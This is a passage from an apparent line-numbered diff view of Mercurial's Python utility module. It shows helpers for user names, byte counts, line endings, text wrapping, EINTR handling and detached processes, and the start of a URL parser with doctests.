2196 ipat = encoding.lower(pattern)
2194 match = lambda s: ipat == encoding.lower(s)
2197 match = lambda s: ipat == encoding.lower(s)
2195 return 'literal', pattern, match
2198 return 'literal', pattern, match
2196
2199
2197 def shortuser(user):
2200 def shortuser(user):
2198 """Return a short representation of a user name or email address."""
2201 """Return a short representation of a user name or email address."""
2199 f = user.find('@')
2202 f = user.find('@')
2200 if f >= 0:
2203 if f >= 0:
2201 user = user[:f]
2204 user = user[:f]
2202 f = user.find('<')
2205 f = user.find('<')
2203 if f >= 0:
2206 if f >= 0:
2204 user = user[f + 1:]
2207 user = user[f + 1:]
2205 f = user.find(' ')
2208 f = user.find(' ')
2206 if f >= 0:
2209 if f >= 0:
2207 user = user[:f]
2210 user = user[:f]
2208 f = user.find('.')
2211 f = user.find('.')
2209 if f >= 0:
2212 if f >= 0:
2210 user = user[:f]
2213 user = user[:f]
2211 return user
2214 return user
2212
2215
2213 def emailuser(user):
2216 def emailuser(user):
2214 """Return the user portion of an email address."""
2217 """Return the user portion of an email address."""
2215 f = user.find('@')
2218 f = user.find('@')
2216 if f >= 0:
2219 if f >= 0:
2217 user = user[:f]
2220 user = user[:f]
2218 f = user.find('<')
2221 f = user.find('<')
2219 if f >= 0:
2222 if f >= 0:
2220 user = user[f + 1:]
2223 user = user[f + 1:]
2221 return user
2224 return user
2222
2225
2223 def email(author):
2226 def email(author):
2224 '''get email of author.'''
2227 '''get email of author.'''
2225 r = author.find('>')
2228 r = author.find('>')
2226 if r == -1:
2229 if r == -1:
2227 r = None
2230 r = None
2228 return author[author.find('<') + 1:r]
2231 return author[author.find('<') + 1:r]
2229
2232
2230 def ellipsis(text, maxlength=400):
2233 def ellipsis(text, maxlength=400):
2231 """Trim string to at most maxlength (default: 400) columns in display."""
2234 """Trim string to at most maxlength (default: 400) columns in display."""
2232 return encoding.trim(text, maxlength, ellipsis='...')
2235 return encoding.trim(text, maxlength, ellipsis='...')
2233
2236
2234 def unitcountfn(*unittable):
2237 def unitcountfn(*unittable):
2235 '''return a function that renders a readable count of some quantity'''
2238 '''return a function that renders a readable count of some quantity'''
2236
2239
2237 def go(count):
2240 def go(count):
2238 for multiplier, divisor, format in unittable:
2241 for multiplier, divisor, format in unittable:
2239 if abs(count) >= divisor * multiplier:
2242 if abs(count) >= divisor * multiplier:
2240 return format % (count / float(divisor))
2243 return format % (count / float(divisor))
2241 return unittable[-1][2] % count
2244 return unittable[-1][2] % count
2242
2245
2243 return go
2246 return go
2244
2247
2245 def processlinerange(fromline, toline):
2248 def processlinerange(fromline, toline):
2246 """Check that linerange <fromline>:<toline> makes sense and return a
2249 """Check that linerange <fromline>:<toline> makes sense and return a
2247 0-based range.
2250 0-based range.
2248
2251
2249 >>> processlinerange(10, 20)
2252 >>> processlinerange(10, 20)
2250 (9, 20)
2253 (9, 20)
2251 >>> processlinerange(2, 1)
2254 >>> processlinerange(2, 1)
2252 Traceback (most recent call last):
2255 Traceback (most recent call last):
2253 ...
2256 ...
2254 ParseError: line range must be positive
2257 ParseError: line range must be positive
2255 >>> processlinerange(0, 5)
2258 >>> processlinerange(0, 5)
2256 Traceback (most recent call last):
2259 Traceback (most recent call last):
2257 ...
2260 ...
2258 ParseError: fromline must be strictly positive
2261 ParseError: fromline must be strictly positive
2259 """
2262 """
2260 if toline - fromline < 0:
2263 if toline - fromline < 0:
2261 raise error.ParseError(_("line range must be positive"))
2264 raise error.ParseError(_("line range must be positive"))
2262 if fromline < 1:
2265 if fromline < 1:
2263 raise error.ParseError(_("fromline must be strictly positive"))
2266 raise error.ParseError(_("fromline must be strictly positive"))
2264 return fromline - 1, toline
2267 return fromline - 1, toline
2265
2268
2266 bytecount = unitcountfn(
2269 bytecount = unitcountfn(
2267 (100, 1 << 30, _('%.0f GB')),
2270 (100, 1 << 30, _('%.0f GB')),
2268 (10, 1 << 30, _('%.1f GB')),
2271 (10, 1 << 30, _('%.1f GB')),
2269 (1, 1 << 30, _('%.2f GB')),
2272 (1, 1 << 30, _('%.2f GB')),
2270 (100, 1 << 20, _('%.0f MB')),
2273 (100, 1 << 20, _('%.0f MB')),
2271 (10, 1 << 20, _('%.1f MB')),
2274 (10, 1 << 20, _('%.1f MB')),
2272 (1, 1 << 20, _('%.2f MB')),
2275 (1, 1 << 20, _('%.2f MB')),
2273 (100, 1 << 10, _('%.0f KB')),
2276 (100, 1 << 10, _('%.0f KB')),
2274 (10, 1 << 10, _('%.1f KB')),
2277 (10, 1 << 10, _('%.1f KB')),
2275 (1, 1 << 10, _('%.2f KB')),
2278 (1, 1 << 10, _('%.2f KB')),
2276 (1, 1, _('%.0f bytes')),
2279 (1, 1, _('%.0f bytes')),
2277 )
2280 )
2278
2281
2279 # Matches a single EOL which can either be a CRLF where repeated CR
2282 # Matches a single EOL which can either be a CRLF where repeated CR
2280 # are removed or a LF. We do not care about old Macintosh files, so a
2283 # are removed or a LF. We do not care about old Macintosh files, so a
2281 # stray CR is an error.
2284 # stray CR is an error.
2282 _eolre = remod.compile(br'\r*\n')
2285 _eolre = remod.compile(br'\r*\n')
2283
2286
2284 def tolf(s):
2287 def tolf(s):
2285 return _eolre.sub('\n', s)
2288 return _eolre.sub('\n', s)
2286
2289
2287 def tocrlf(s):
2290 def tocrlf(s):
2288 return _eolre.sub('\r\n', s)
2291 return _eolre.sub('\r\n', s)
2289
2292
2290 if pycompat.oslinesep == '\r\n':
2293 if pycompat.oslinesep == '\r\n':
2291 tonativeeol = tocrlf
2294 tonativeeol = tocrlf
2292 fromnativeeol = tolf
2295 fromnativeeol = tolf
2293 else:
2296 else:
2294 tonativeeol = pycompat.identity
2297 tonativeeol = pycompat.identity
2295 fromnativeeol = pycompat.identity
2298 fromnativeeol = pycompat.identity
2296
2299
2297 def escapestr(s):
2300 def escapestr(s):
2298 # call underlying function of s.encode('string_escape') directly for
2301 # call underlying function of s.encode('string_escape') directly for
2299 # Python 3 compatibility
2302 # Python 3 compatibility
2300 return codecs.escape_encode(s)[0]
2303 return codecs.escape_encode(s)[0]
2301
2304
2302 def unescapestr(s):
2305 def unescapestr(s):
2303 return codecs.escape_decode(s)[0]
2306 return codecs.escape_decode(s)[0]
2304
2307
2305 def forcebytestr(obj):
2308 def forcebytestr(obj):
2306 """Portably format an arbitrary object (e.g. exception) into a byte
2309 """Portably format an arbitrary object (e.g. exception) into a byte
2307 string."""
2310 string."""
2308 try:
2311 try:
2309 return pycompat.bytestr(obj)
2312 return pycompat.bytestr(obj)
2310 except UnicodeEncodeError:
2313 except UnicodeEncodeError:
2311 # non-ascii string, may be lossy
2314 # non-ascii string, may be lossy
2312 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2315 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2313
2316
2314 def uirepr(s):
2317 def uirepr(s):
2315 # Avoid double backslash in Windows path repr()
2318 # Avoid double backslash in Windows path repr()
2316 return repr(s).replace('\\\\', '\\')
2319 return repr(s).replace('\\\\', '\\')
2317
2320
2318 # delay import of textwrap
2321 # delay import of textwrap
2319 def MBTextWrapper(**kwargs):
2322 def MBTextWrapper(**kwargs):
2320 class tw(textwrap.TextWrapper):
2323 class tw(textwrap.TextWrapper):
2321 """
2324 """
2322 Extend TextWrapper for width-awareness.
2325 Extend TextWrapper for width-awareness.
2323
2326
2324 Neither number of 'bytes' in any encoding nor 'characters' is
2327 Neither number of 'bytes' in any encoding nor 'characters' is
2325 appropriate to calculate terminal columns for specified string.
2328 appropriate to calculate terminal columns for specified string.
2326
2329
2327 Original TextWrapper implementation uses built-in 'len()' directly,
2330 Original TextWrapper implementation uses built-in 'len()' directly,
2328 so overriding is needed to use width information of each characters.
2331 so overriding is needed to use width information of each characters.
2329
2332
2330 In addition, characters classified into 'ambiguous' width are
2333 In addition, characters classified into 'ambiguous' width are
2331 treated as wide in East Asian area, but as narrow in other.
2334 treated as wide in East Asian area, but as narrow in other.
2332
2335
2333 This requires use decision to determine width of such characters.
2336 This requires use decision to determine width of such characters.
2334 """
2337 """
2335 def _cutdown(self, ucstr, space_left):
2338 def _cutdown(self, ucstr, space_left):
2336 l = 0
2339 l = 0
2337 colwidth = encoding.ucolwidth
2340 colwidth = encoding.ucolwidth
2338 for i in xrange(len(ucstr)):
2341 for i in xrange(len(ucstr)):
2339 l += colwidth(ucstr[i])
2342 l += colwidth(ucstr[i])
2340 if space_left < l:
2343 if space_left < l:
2341 return (ucstr[:i], ucstr[i:])
2344 return (ucstr[:i], ucstr[i:])
2342 return ucstr, ''
2345 return ucstr, ''
2343
2346
2344 # overriding of base class
2347 # overriding of base class
2345 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2348 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2346 space_left = max(width - cur_len, 1)
2349 space_left = max(width - cur_len, 1)
2347
2350
2348 if self.break_long_words:
2351 if self.break_long_words:
2349 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2352 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2350 cur_line.append(cut)
2353 cur_line.append(cut)
2351 reversed_chunks[-1] = res
2354 reversed_chunks[-1] = res
2352 elif not cur_line:
2355 elif not cur_line:
2353 cur_line.append(reversed_chunks.pop())
2356 cur_line.append(reversed_chunks.pop())
2354
2357
2355 # this overriding code is imported from TextWrapper of Python 2.6
2358 # this overriding code is imported from TextWrapper of Python 2.6
2356 # to calculate columns of string by 'encoding.ucolwidth()'
2359 # to calculate columns of string by 'encoding.ucolwidth()'
2357 def _wrap_chunks(self, chunks):
2360 def _wrap_chunks(self, chunks):
2358 colwidth = encoding.ucolwidth
2361 colwidth = encoding.ucolwidth
2359
2362
2360 lines = []
2363 lines = []
2361 if self.width <= 0:
2364 if self.width <= 0:
2362 raise ValueError("invalid width %r (must be > 0)" % self.width)
2365 raise ValueError("invalid width %r (must be > 0)" % self.width)
2363
2366
2364 # Arrange in reverse order so items can be efficiently popped
2367 # Arrange in reverse order so items can be efficiently popped
2365 # from a stack of chucks.
2368 # from a stack of chucks.
2366 chunks.reverse()
2369 chunks.reverse()
2367
2370
2368 while chunks:
2371 while chunks:
2369
2372
2370 # Start the list of chunks that will make up the current line.
2373 # Start the list of chunks that will make up the current line.
2371 # cur_len is just the length of all the chunks in cur_line.
2374 # cur_len is just the length of all the chunks in cur_line.
2372 cur_line = []
2375 cur_line = []
2373 cur_len = 0
2376 cur_len = 0
2374
2377
2375 # Figure out which static string will prefix this line.
2378 # Figure out which static string will prefix this line.
2376 if lines:
2379 if lines:
2377 indent = self.subsequent_indent
2380 indent = self.subsequent_indent
2378 else:
2381 else:
2379 indent = self.initial_indent
2382 indent = self.initial_indent
2380
2383
2381 # Maximum width for this line.
2384 # Maximum width for this line.
2382 width = self.width - len(indent)
2385 width = self.width - len(indent)
2383
2386
2384 # First chunk on line is whitespace -- drop it, unless this
2387 # First chunk on line is whitespace -- drop it, unless this
2385 # is the very beginning of the text (i.e. no lines started yet).
2388 # is the very beginning of the text (i.e. no lines started yet).
2386 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2389 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2387 del chunks[-1]
2390 del chunks[-1]
2388
2391
2389 while chunks:
2392 while chunks:
2390 l = colwidth(chunks[-1])
2393 l = colwidth(chunks[-1])
2391
2394
2392 # Can at least squeeze this chunk onto the current line.
2395 # Can at least squeeze this chunk onto the current line.
2393 if cur_len + l <= width:
2396 if cur_len + l <= width:
2394 cur_line.append(chunks.pop())
2397 cur_line.append(chunks.pop())
2395 cur_len += l
2398 cur_len += l
2396
2399
2397 # Nope, this line is full.
2400 # Nope, this line is full.
2398 else:
2401 else:
2399 break
2402 break
2400
2403
2401 # The current line is full, and the next chunk is too big to
2404 # The current line is full, and the next chunk is too big to
2402 # fit on *any* line (not just this one).
2405 # fit on *any* line (not just this one).
2403 if chunks and colwidth(chunks[-1]) > width:
2406 if chunks and colwidth(chunks[-1]) > width:
2404 self._handle_long_word(chunks, cur_line, cur_len, width)
2407 self._handle_long_word(chunks, cur_line, cur_len, width)
2405
2408
2406 # If the last chunk on this line is all whitespace, drop it.
2409 # If the last chunk on this line is all whitespace, drop it.
2407 if (self.drop_whitespace and
2410 if (self.drop_whitespace and
2408 cur_line and cur_line[-1].strip() == r''):
2411 cur_line and cur_line[-1].strip() == r''):
2409 del cur_line[-1]
2412 del cur_line[-1]
2410
2413
2411 # Convert current line back to a string and store it in list
2414 # Convert current line back to a string and store it in list
2412 # of all lines (return value).
2415 # of all lines (return value).
2413 if cur_line:
2416 if cur_line:
2414 lines.append(indent + r''.join(cur_line))
2417 lines.append(indent + r''.join(cur_line))
2415
2418
2416 return lines
2419 return lines
2417
2420
2418 global MBTextWrapper
2421 global MBTextWrapper
2419 MBTextWrapper = tw
2422 MBTextWrapper = tw
2420 return tw(**kwargs)
2423 return tw(**kwargs)
2421
2424
2422 def wrap(line, width, initindent='', hangindent=''):
2425 def wrap(line, width, initindent='', hangindent=''):
2423 maxindent = max(len(hangindent), len(initindent))
2426 maxindent = max(len(hangindent), len(initindent))
2424 if width <= maxindent:
2427 if width <= maxindent:
2425 # adjust for weird terminal size
2428 # adjust for weird terminal size
2426 width = max(78, maxindent + 1)
2429 width = max(78, maxindent + 1)
2427 line = line.decode(pycompat.sysstr(encoding.encoding),
2430 line = line.decode(pycompat.sysstr(encoding.encoding),
2428 pycompat.sysstr(encoding.encodingmode))
2431 pycompat.sysstr(encoding.encodingmode))
2429 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2432 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2430 pycompat.sysstr(encoding.encodingmode))
2433 pycompat.sysstr(encoding.encodingmode))
2431 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2434 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2432 pycompat.sysstr(encoding.encodingmode))
2435 pycompat.sysstr(encoding.encodingmode))
2433 wrapper = MBTextWrapper(width=width,
2436 wrapper = MBTextWrapper(width=width,
2434 initial_indent=initindent,
2437 initial_indent=initindent,
2435 subsequent_indent=hangindent)
2438 subsequent_indent=hangindent)
2436 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2439 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2437
2440
2438 if (pyplatform.python_implementation() == 'CPython' and
2441 if (pyplatform.python_implementation() == 'CPython' and
2439 sys.version_info < (3, 0)):
2442 sys.version_info < (3, 0)):
2440 # There is an issue in CPython that some IO methods do not handle EINTR
2443 # There is an issue in CPython that some IO methods do not handle EINTR
2441 # correctly. The following table shows what CPython version (and functions)
2444 # correctly. The following table shows what CPython version (and functions)
2442 # are affected (buggy: has the EINTR bug, okay: otherwise):
2445 # are affected (buggy: has the EINTR bug, okay: otherwise):
2443 #
2446 #
2444 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2447 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2445 # --------------------------------------------------
2448 # --------------------------------------------------
2446 # fp.__iter__ | buggy | buggy | okay
2449 # fp.__iter__ | buggy | buggy | okay
2447 # fp.read* | buggy | okay [1] | okay
2450 # fp.read* | buggy | okay [1] | okay
2448 #
2451 #
2449 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2452 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2450 #
2453 #
2451 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2454 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2452 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2455 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2453 #
2456 #
2454 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2457 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2455 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2458 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2456 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2459 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2457 # fp.__iter__ but not other fp.read* methods.
2460 # fp.__iter__ but not other fp.read* methods.
2458 #
2461 #
2459 # On modern systems like Linux, the "read" syscall cannot be interrupted
2462 # On modern systems like Linux, the "read" syscall cannot be interrupted
2460 # when reading "fast" files like on-disk files. So the EINTR issue only
2463 # when reading "fast" files like on-disk files. So the EINTR issue only
2461 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2464 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2462 # files approximately as "fast" files and use the fast (unsafe) code path,
2465 # files approximately as "fast" files and use the fast (unsafe) code path,
2463 # to minimize the performance impact.
2466 # to minimize the performance impact.
2464 if sys.version_info >= (2, 7, 4):
2467 if sys.version_info >= (2, 7, 4):
2465 # fp.readline deals with EINTR correctly, use it as a workaround.
2468 # fp.readline deals with EINTR correctly, use it as a workaround.
2466 def _safeiterfile(fp):
2469 def _safeiterfile(fp):
2467 return iter(fp.readline, '')
2470 return iter(fp.readline, '')
2468 else:
2471 else:
2469 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2472 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2470 # note: this may block longer than necessary because of bufsize.
2473 # note: this may block longer than necessary because of bufsize.
2471 def _safeiterfile(fp, bufsize=4096):
2474 def _safeiterfile(fp, bufsize=4096):
2472 fd = fp.fileno()
2475 fd = fp.fileno()
2473 line = ''
2476 line = ''
2474 while True:
2477 while True:
2475 try:
2478 try:
2476 buf = os.read(fd, bufsize)
2479 buf = os.read(fd, bufsize)
2477 except OSError as ex:
2480 except OSError as ex:
2478 # os.read only raises EINTR before any data is read
2481 # os.read only raises EINTR before any data is read
2479 if ex.errno == errno.EINTR:
2482 if ex.errno == errno.EINTR:
2480 continue
2483 continue
2481 else:
2484 else:
2482 raise
2485 raise
2483 line += buf
2486 line += buf
2484 if '\n' in buf:
2487 if '\n' in buf:
2485 splitted = line.splitlines(True)
2488 splitted = line.splitlines(True)
2486 line = ''
2489 line = ''
2487 for l in splitted:
2490 for l in splitted:
2488 if l[-1] == '\n':
2491 if l[-1] == '\n':
2489 yield l
2492 yield l
2490 else:
2493 else:
2491 line = l
2494 line = l
2492 if not buf:
2495 if not buf:
2493 break
2496 break
2494 if line:
2497 if line:
2495 yield line
2498 yield line
2496
2499
2497 def iterfile(fp):
2500 def iterfile(fp):
2498 fastpath = True
2501 fastpath = True
2499 if type(fp) is file:
2502 if type(fp) is file:
2500 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2503 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2501 if fastpath:
2504 if fastpath:
2502 return fp
2505 return fp
2503 else:
2506 else:
2504 return _safeiterfile(fp)
2507 return _safeiterfile(fp)
2505 else:
2508 else:
2506 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2509 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2507 def iterfile(fp):
2510 def iterfile(fp):
2508 return fp
2511 return fp
2509
2512
2510 def iterlines(iterator):
2513 def iterlines(iterator):
2511 for chunk in iterator:
2514 for chunk in iterator:
2512 for line in chunk.splitlines():
2515 for line in chunk.splitlines():
2513 yield line
2516 yield line
2514
2517
2515 def expandpath(path):
2518 def expandpath(path):
2516 return os.path.expanduser(os.path.expandvars(path))
2519 return os.path.expanduser(os.path.expandvars(path))
2517
2520
2518 def hgcmd():
2521 def hgcmd():
2519 """Return the command used to execute current hg
2522 """Return the command used to execute current hg
2520
2523
2521 This is different from hgexecutable() because on Windows we want
2524 This is different from hgexecutable() because on Windows we want
2522 to avoid things opening new shell windows like batch files, so we
2525 to avoid things opening new shell windows like batch files, so we
2523 get either the python call or current executable.
2526 get either the python call or current executable.
2524 """
2527 """
2525 if mainfrozen():
2528 if mainfrozen():
2526 if getattr(sys, 'frozen', None) == 'macosx_app':
2529 if getattr(sys, 'frozen', None) == 'macosx_app':
2527 # Env variable set by py2app
2530 # Env variable set by py2app
2528 return [encoding.environ['EXECUTABLEPATH']]
2531 return [encoding.environ['EXECUTABLEPATH']]
2529 else:
2532 else:
2530 return [pycompat.sysexecutable]
2533 return [pycompat.sysexecutable]
2531 return gethgcmd()
2534 return gethgcmd()
2532
2535
2533 def rundetached(args, condfn):
2536 def rundetached(args, condfn):
2534 """Execute the argument list in a detached process.
2537 """Execute the argument list in a detached process.
2535
2538
2536 condfn is a callable which is called repeatedly and should return
2539 condfn is a callable which is called repeatedly and should return
2537 True once the child process is known to have started successfully.
2540 True once the child process is known to have started successfully.
2538 At this point, the child process PID is returned. If the child
2541 At this point, the child process PID is returned. If the child
2539 process fails to start or finishes before condfn() evaluates to
2542 process fails to start or finishes before condfn() evaluates to
2540 True, return -1.
2543 True, return -1.
2541 """
2544 """
2542 # Windows case is easier because the child process is either
2545 # Windows case is easier because the child process is either
2543 # successfully starting and validating the condition or exiting
2546 # successfully starting and validating the condition or exiting
2544 # on failure. We just poll on its PID. On Unix, if the child
2547 # on failure. We just poll on its PID. On Unix, if the child
2545 # process fails to start, it will be left in a zombie state until
2548 # process fails to start, it will be left in a zombie state until
2546 # the parent wait on it, which we cannot do since we expect a long
2549 # the parent wait on it, which we cannot do since we expect a long
2547 # running process on success. Instead we listen for SIGCHLD telling
2550 # running process on success. Instead we listen for SIGCHLD telling
2548 # us our child process terminated.
2551 # us our child process terminated.
2549 terminated = set()
2552 terminated = set()
2550 def handler(signum, frame):
2553 def handler(signum, frame):
2551 terminated.add(os.wait())
2554 terminated.add(os.wait())
2552 prevhandler = None
2555 prevhandler = None
2553 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2556 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2554 if SIGCHLD is not None:
2557 if SIGCHLD is not None:
2555 prevhandler = signal.signal(SIGCHLD, handler)
2558 prevhandler = signal.signal(SIGCHLD, handler)
2556 try:
2559 try:
2557 pid = spawndetached(args)
2560 pid = spawndetached(args)
2558 while not condfn():
2561 while not condfn():
2559 if ((pid in terminated or not testpid(pid))
2562 if ((pid in terminated or not testpid(pid))
2560 and not condfn()):
2563 and not condfn()):
2561 return -1
2564 return -1
2562 time.sleep(0.1)
2565 time.sleep(0.1)
2563 return pid
2566 return pid
2564 finally:
2567 finally:
2565 if prevhandler is not None:
2568 if prevhandler is not None:
2566 signal.signal(signal.SIGCHLD, prevhandler)
2569 signal.signal(signal.SIGCHLD, prevhandler)
2567
2570
2568 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2571 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2569 """Return the result of interpolating items in the mapping into string s.
2572 """Return the result of interpolating items in the mapping into string s.
2570
2573
2571 prefix is a single character string, or a two character string with
2574 prefix is a single character string, or a two character string with
2572 a backslash as the first character if the prefix needs to be escaped in
2575 a backslash as the first character if the prefix needs to be escaped in
2573 a regular expression.
2576 a regular expression.
2574
2577
2575 fn is an optional function that will be applied to the replacement text
2578 fn is an optional function that will be applied to the replacement text
2576 just before replacement.
2579 just before replacement.
2577
2580
2578 escape_prefix is an optional flag that allows using doubled prefix for
2581 escape_prefix is an optional flag that allows using doubled prefix for
2579 its escaping.
2582 its escaping.
2580 """
2583 """
2581 fn = fn or (lambda s: s)
2584 fn = fn or (lambda s: s)
2582 patterns = '|'.join(mapping.keys())
2585 patterns = '|'.join(mapping.keys())
2583 if escape_prefix:
2586 if escape_prefix:
2584 patterns += '|' + prefix
2587 patterns += '|' + prefix
2585 if len(prefix) > 1:
2588 if len(prefix) > 1:
2586 prefix_char = prefix[1:]
2589 prefix_char = prefix[1:]
2587 else:
2590 else:
2588 prefix_char = prefix
2591 prefix_char = prefix
2589 mapping[prefix_char] = prefix_char
2592 mapping[prefix_char] = prefix_char
2590 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2593 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2591 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2594 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2592
2595
2593 def getport(port):
2596 def getport(port):
2594 """Return the port for a given network service.
2597 """Return the port for a given network service.
2595
2598
2596 If port is an integer, it's returned as is. If it's a string, it's
2599 If port is an integer, it's returned as is. If it's a string, it's
2597 looked up using socket.getservbyname(). If there's no matching
2600 looked up using socket.getservbyname(). If there's no matching
2598 service, error.Abort is raised.
2601 service, error.Abort is raised.
2599 """
2602 """
2600 try:
2603 try:
2601 return int(port)
2604 return int(port)
2602 except ValueError:
2605 except ValueError:
2603 pass
2606 pass
2604
2607
2605 try:
2608 try:
2606 return socket.getservbyname(port)
2609 return socket.getservbyname(port)
2607 except socket.error:
2610 except socket.error:
2608 raise Abort(_("no port number associated with service '%s'") % port)
2611 raise Abort(_("no port number associated with service '%s'") % port)
2609
2612
2610 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2613 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2611 '0': False, 'no': False, 'false': False, 'off': False,
2614 '0': False, 'no': False, 'false': False, 'off': False,
2612 'never': False}
2615 'never': False}
2613
2616
2614 def parsebool(s):
2617 def parsebool(s):
2615 """Parse s into a boolean.
2618 """Parse s into a boolean.
2616
2619
2617 If s is not a valid boolean, returns None.
2620 If s is not a valid boolean, returns None.
2618 """
2621 """
2619 return _booleans.get(s.lower(), None)
2622 return _booleans.get(s.lower(), None)
2620
2623
2621 _hextochr = dict((a + b, chr(int(a + b, 16)))
2624 _hextochr = dict((a + b, chr(int(a + b, 16)))
2622 for a in string.hexdigits for b in string.hexdigits)
2625 for a in string.hexdigits for b in string.hexdigits)
2623
2626
2624 class url(object):
2627 class url(object):
2625 r"""Reliable URL parser.
2628 r"""Reliable URL parser.
2626
2629
2627 This parses URLs and provides attributes for the following
2630 This parses URLs and provides attributes for the following
2628 components:
2631 components:
2629
2632
2630 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2633 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2631
2634
2632 Missing components are set to None. The only exception is
2635 Missing components are set to None. The only exception is
2633 fragment, which is set to '' if present but empty.
2636 fragment, which is set to '' if present but empty.
2634
2637
2635 If parsefragment is False, fragment is included in query. If
2638 If parsefragment is False, fragment is included in query. If
2636 parsequery is False, query is included in path. If both are
2639 parsequery is False, query is included in path. If both are
2637 False, both fragment and query are included in path.
2640 False, both fragment and query are included in path.
2638
2641
2639 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2642 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2640
2643
2641 Note that for backward compatibility reasons, bundle URLs do not
2644 Note that for backward compatibility reasons, bundle URLs do not
2642 take host names. That means 'bundle://../' has a path of '../'.
2645 take host names. That means 'bundle://../' has a path of '../'.
2643
2646
2644 Examples:
2647 Examples:
2645
2648
2646 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2649 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2647 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2650 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2648 >>> url('ssh://[::1]:2200//home/joe/repo')
2651 >>> url('ssh://[::1]:2200//home/joe/repo')
2649 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2652 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2650 >>> url('file:///home/joe/repo')
2653 >>> url('file:///home/joe/repo')
2651 <url scheme: 'file', path: '/home/joe/repo'>
2654 <url scheme: 'file', path: '/home/joe/repo'>
2652 >>> url('file:///c:/temp/foo/')
2655 >>> url('file:///c:/temp/foo/')
2653 <url scheme: 'file', path: 'c:/temp/foo/'>
2656 <url scheme: 'file', path: 'c:/temp/foo/'>
2654 >>> url('bundle:foo')
2657 >>> url('bundle:foo')
2655 <url scheme: 'bundle', path: 'foo'>
2658 <url scheme: 'bundle', path: 'foo'>
2656 >>> url('bundle://../foo')
2659 >>> url('bundle://../foo')
2657 <url scheme: 'bundle', path: '../foo'>
2660 <url scheme: 'bundle', path: '../foo'>
2658 >>> url(r'c:\foo\bar')
2661 >>> url(r'c:\foo\bar')
2659 <url path: 'c:\\foo\\bar'>
2662 <url path: 'c:\\foo\\bar'>
2660 >>> url(r'\\blah\blah\blah')
2663 >>> url(r'\\blah\blah\blah')
2661 <url path: '\\\\blah\\blah\\blah'>
2664 <url path: '\\\\blah\\blah\\blah'>
2662 >>> url(r'\\blah\blah\blah#baz')
2665 >>> url(r'\\blah\blah\blah#baz')
2663 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2666 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2664 >>> url(r'file:///C:\users\me')
2667 >>> url(r'file:///C:\users\me')
2665 <url scheme: 'file', path: 'C:\\users\\me'>
2668 <url scheme: 'file', path: 'C:\\users\\me'>
2666
2669
2667 Authentication credentials:
2670 Authentication credentials:
2668
2671
2669 >>> url('ssh://joe:xyz@x/repo')
2672 >>> url('ssh://joe:xyz@x/repo')
2670 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2673 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2671 >>> url('ssh://joe@x/repo')
2674 >>> url('ssh://joe@x/repo')
2672 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2675 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2673
2676
2674 Query strings and fragments:
2677 Query strings and fragments:
2675
2678
2676 >>> url('http://host/a?b#c')
2679 >>> url('http://host/a?b#c')
